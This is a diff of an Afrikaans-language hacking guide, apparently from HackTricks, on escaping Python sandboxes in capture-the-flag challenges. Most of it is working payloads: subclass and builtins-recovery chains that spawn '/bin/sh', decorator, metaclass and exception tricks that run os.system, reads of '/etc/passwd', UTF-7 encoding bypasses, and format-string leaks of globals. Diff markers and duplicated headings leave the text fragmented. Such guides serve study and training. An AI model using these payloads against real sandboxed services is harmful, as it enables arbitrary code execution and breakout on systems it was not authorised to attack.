[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
|
||||
## Bypassing beskerming deur kodering (UTF-7)
|
||||
|
||||
In [**hierdie skryfstuk**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UTF-7 gebruik om arbitrêre Python-kode te laai en uit te voer binne 'n skynbare sandput:
|
||||
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -170,6 +183,7 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
|
||||
Dit is ook moontlik om dit te omseil deur ander enkoderings te gebruik, bv. `raw_unicode_escape` en `unicode_escape`.
|
||||
|
||||
## Python-uitvoering sonder oproepe
|
||||
|
@ -177,6 +191,7 @@ Dit is ook moontlik om dit te omseil deur ander enkoderings te gebruik, bv. `raw
|
|||
As jy binne 'n Python-gevangenis is wat jou nie toelaat om oproepe te maak nie, is daar steeds maniere om arbitrêre funksies, kode en opdragte uit te voer.
|
||||
|
||||
### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
|
@ -198,6 +213,7 @@ X = exec(X)
|
|||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
|
||||
### RCE skep voorwerpe en oorlading
|
||||
|
||||
As jy **'n klas kan verklaar** en **'n voorwerp van daardie klas kan skep**, kan jy **verskillende metodes skryf/herskryf** wat **geaktiveer kan word** **sonder** om hulle **direk te roep**.
|
||||
|
@ -205,6 +221,7 @@ As jy **'n klas kan verklaar** en **'n voorwerp van daardie klas kan skep**, kan
|
|||
#### RCE met aangepaste klasse
|
||||
|
||||
Jy kan sommige **klasmetodes** wysig (_deur bestaande klasmetodes te oorskryf of 'n nuwe klas te skep_) om hulle **willekeurige kode uit te voer** wanneer hulle **geaktiveer** word sonder om hulle direk te roep.
|
||||
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -254,9 +271,11 @@ __iand__ (k = 'import os; os.system("sh")')
|
|||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
|
||||
#### Skep voorwerpe met [metaklasse](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Die sleutelding wat metaklasse ons toelaat om te doen is **'n instansie van 'n klas te maak, sonder om die konstrukteur direk te roep**, deur 'n nuwe klas met die teiken klas as 'n metaklas te skep.
|
||||
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -271,9 +290,11 @@ Sub['import os; os.system("sh")']
|
|||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
|
||||
#### Skep van voorwerpe met uitsonderings
|
||||
|
||||
Wanneer 'n **uitsondering geaktiveer** word, word 'n voorwerp van die **Uitsondering** **geskep** sonder dat jy die konstrukteur direk hoef te roep ( 'n truuk van [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -293,7 +314,9 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
|||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
|
||||
### Meer RCE
|
||||
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
|
@ -315,7 +338,9 @@ __iadd__ = eval
|
|||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
|
||||
### Lees lêer met behulp van ingeboude help & lisensie
|
||||
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
|
@ -324,16 +349,19 @@ a.__class__.__exit__ = lambda self, *args: None
|
|||
with (a as b):
|
||||
pass
|
||||
```
|
||||
|
||||
## Ingeboude funksies
|
||||
|
||||
* [**Ingeboude funksies van python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Ingeboude funksies van python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
As jy toegang het tot die **`__builtins__`** objek, kan jy biblioteke invoer (let daarop dat jy ook ander string voorstellings hier kan gebruik wat in die laaste afdeling gewys word):
|
||||
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
|
||||
### Geen Ingeboude Functies
|
||||
|
||||
Wanneer jy nie `__builtins__` het nie, sal jy nie in staat wees om enigiets in te voer nie, of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
||||
|
@ -342,6 +370,7 @@ Nietemin, **standaard invoer Python baie modules in die geheue**. Hierdie module
|
|||
In die volgende voorbeelde kan jy sien hoe om van hierdie "**onskuldige**" modules wat gelaai is, te **misbruik** om toegang te kry tot **gevaarlike** **funksionaliteite** binne-in hulle.
|
||||
|
||||
**Python2**
|
||||
|
||||
```python
|
||||
#Try to reload __builtins__
|
||||
reload(__builtins__)
|
||||
|
@ -362,9 +391,11 @@ import __builtin__
|
|||
# Or you could obtain the builtins from a defined function
|
||||
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
||||
```
|
||||
|
||||
#### Python3
|
||||
|
||||
#### Afrikaans Translation
|
||||
|
||||
```python
|
||||
# Obtain builtins from a globally defined function
|
||||
# https://docs.python.org/3/library/functions.html
|
||||
|
@ -383,15 +414,19 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
|
||||
[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
|
||||
|
||||
#### Python2 en Python3
|
||||
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
|
||||
### Ingeboude ladingstukke
|
||||
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
|
@ -399,9 +434,11 @@ __builtins__["__import__"]("os").system("ls")
|
|||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
|
||||
## Globals en locals
|
||||
|
||||
Die **`globals`** en **`locals`** nagaan is 'n goeie manier om te weet wat jy kan bereik.
|
||||
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -425,6 +462,7 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
|
||||
[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** van **plekke** te vind waar jy die **globals** kan vind.
|
||||
|
||||
## Ontdek Willekeurige Uitvoering
|
||||
|
@ -434,6 +472,7 @@ Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksionaliteite wat gel
|
|||
#### Toegang tot subklasse met omseilings
|
||||
|
||||
Een van die mees sensitiewe dele van hierdie tegniek is om die basis subklasse te kan **bereik**. In die vorige voorbeelde is dit gedoen deur `''.__class__.__base__.__subclasses__()` te gebruik, maar daar is **ander moontlike maniere**:
|
||||
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -461,18 +500,24 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
|
||||
### Vind gevaarlike biblioteke wat gelaai is
|
||||
|
||||
Byvoorbeeld, deur te weet dat dit met die biblioteek **`sys`** moontlik is om **arbitrêre biblioteke in te voer**, kan jy soek na al die **modules wat gelaai is en wat sys binne hulle geïmporteer het**:
|
||||
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
|
||||
Daar is baie, en **ons het net een nodig** om bevele uit te voer:
|
||||
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
||||
Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik word om **opdragte uit te voer**:
|
||||
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
|
@ -507,9 +552,11 @@ Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik wo
|
|||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
|
||||
### Afrikaans Translation:
|
||||
|
||||
### Boonop, ons kan selfs soek watter modules skadelike biblioteke laai:
|
||||
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
|
@ -528,7 +575,9 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
|
||||
Verder, as jy dink **ander biblioteke** moontlik in staat kan wees om **funksies aan te roep om bevele uit te voer**, kan ons ook **filter op funksienames** binne die moontlike biblioteke:
|
||||
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -560,11 +609,13 @@ execfile:
|
|||
execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
```
|
||||
|
||||
## Deursigtige Soektog van Ingeboude Funksies, Globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dit is net **fantasties**. As jy **op soek is na 'n objek soos globals, builtins, open of enigiets** gebruik net hierdie skrip om **deursigtig plekke te vind waar jy daardie objek kan vind.**
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
|
@ -680,10 +731,11 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
Jy kan die uitset van hierdie skripsie op hierdie bladsy nagaan:
|
||||
|
||||
{% content-ref url="broken-reference/" %}
|
||||
[broken-reference](broken-reference/)
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/af/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/af/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/af/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python Formaatstring
|
||||
|
@ -694,6 +746,7 @@ As jy 'n string na Python **stuur** wat **geformateer** gaan word, kan jy `{}` g
|
|||
Daar is egter 'n **beperking**, jy kan net die simbole `.[]` gebruik, sodat jy nie **willekeurige kode kan uitvoer nie**, net om inligting te lees.\
|
||||
_**As jy weet hoe om kode deur hierdie kwesbaarheid uit te voer, kontak my asseblief.**_
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -713,16 +766,20 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
|
||||
Let daarop hoe jy **eienskappe kan bereik** op 'n normale manier met 'n **punt** soos `people_obj.__init__` en **woordeboek element** met **haakies** sonder aanhalingstekens `__globals__[CONFIG]`
|
||||
|
||||
Let ook daarop dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Sommige ander interessante eienskappe van formaatreekse is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** uit te voer in die aangeduide objek deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
||||
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
|
||||
Daarbenewens is dit moontlik om **nuwe formatters te kodeer** in klasse:
|
||||
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -733,6 +790,7 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
|
||||
**Meer voorbeelde** oor **formaat** **string** voorbeelde kan gevind word op [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -744,6 +802,7 @@ Kyk ook na die volgende bladsy vir toestelle wat **gevoelige inligting van Pytho
|
|||
{% endcontent-ref %}
|
||||
|
||||
### Gevoelige Inligting Openbaarmakingsladingen
|
||||
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -754,6 +813,7 @@ Kyk ook na die volgende bladsy vir toestelle wat **gevoelige inligting van Pytho
|
|||
# Access an element through several links
|
||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||
```
|
||||
|
||||
## Ontleed Python-voorwerpe
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -763,6 +823,7 @@ As jy meer wil leer oor **python bytekode** in diepte, lees hierdie **fantasties
|
|||
In sommige CTF's kan jy voorsien word met die naam van 'n **aangepaste funksie waar die vlag** geleë is en jy moet die **interne werking** van die **funksie** sien om dit te onttrek.
|
||||
|
||||
Dit is die funksie om te ondersoek:
|
||||
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -773,16 +834,20 @@ return "THIS-IS-THE-FALG!"
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
|
||||
#### dir
|
||||
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
dir(get_flag) #Get info tof the function
|
||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||
```
|
||||
|
||||
#### globals
|
||||
|
||||
`__globals__` en `func_globals`(Dieselfde) Kry die globale omgewing. In die voorbeeld kan jy sien dat sommige ingevoerde modules, sommige globale veranderlikes en hul inhoud verklaar is:
|
||||
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -791,11 +856,13 @@ get_flag.__globals__
|
|||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
|
||||
[**Sien hier meer plekke om globale waardes te verkry**](./#globals-and-locals)
|
||||
|
||||
### **Toegang tot die funksie kode**
|
||||
|
||||
**`__code__`** en `func_code`: Jy kan hierdie **eienskap** van die funksie **toegang** om die kode objek van die funksie te **verkry**.
|
||||
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -809,7 +876,9 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
|
||||
### Kry Kode-inligting
|
||||
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -855,7 +924,9 @@ get_flag.__code__.co_freevars
|
|||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
|
||||
### **Ontassembling 'n funksie**
|
||||
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
|
@ -883,7 +954,9 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
|
||||
Merk op dat **as jy nie `dis` kan invoer in die Python-sandbox nie** jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kan verkry en dit plaaslik **ontbind**. Jy sal nie die inhoud van die gelaaide veranderlikes sien (`LOAD_CONST`) nie, maar jy kan hulle raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die skuif van die gelaaide veranderlike aandui.
|
||||
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -905,10 +978,12 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
|
||||
## Kompilering van Python
|
||||
|
||||
Nou, laat ons verbeel dat jy op een of ander manier die inligting oor 'n funksie kan **dump** wat jy nie kan **uitvoer** nie, maar jy **moet** dit **uitvoer**.\
|
||||
Soos in die volgende voorbeeld, **kan jy toegang kry tot die kode-object** van daardie funksie, maar deur net die disassemble te lees, **weet jy nie hoe om die vlag te bereken** (_verbeel jou 'n meer komplekse `calc_flag` funksie_)
|
||||
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
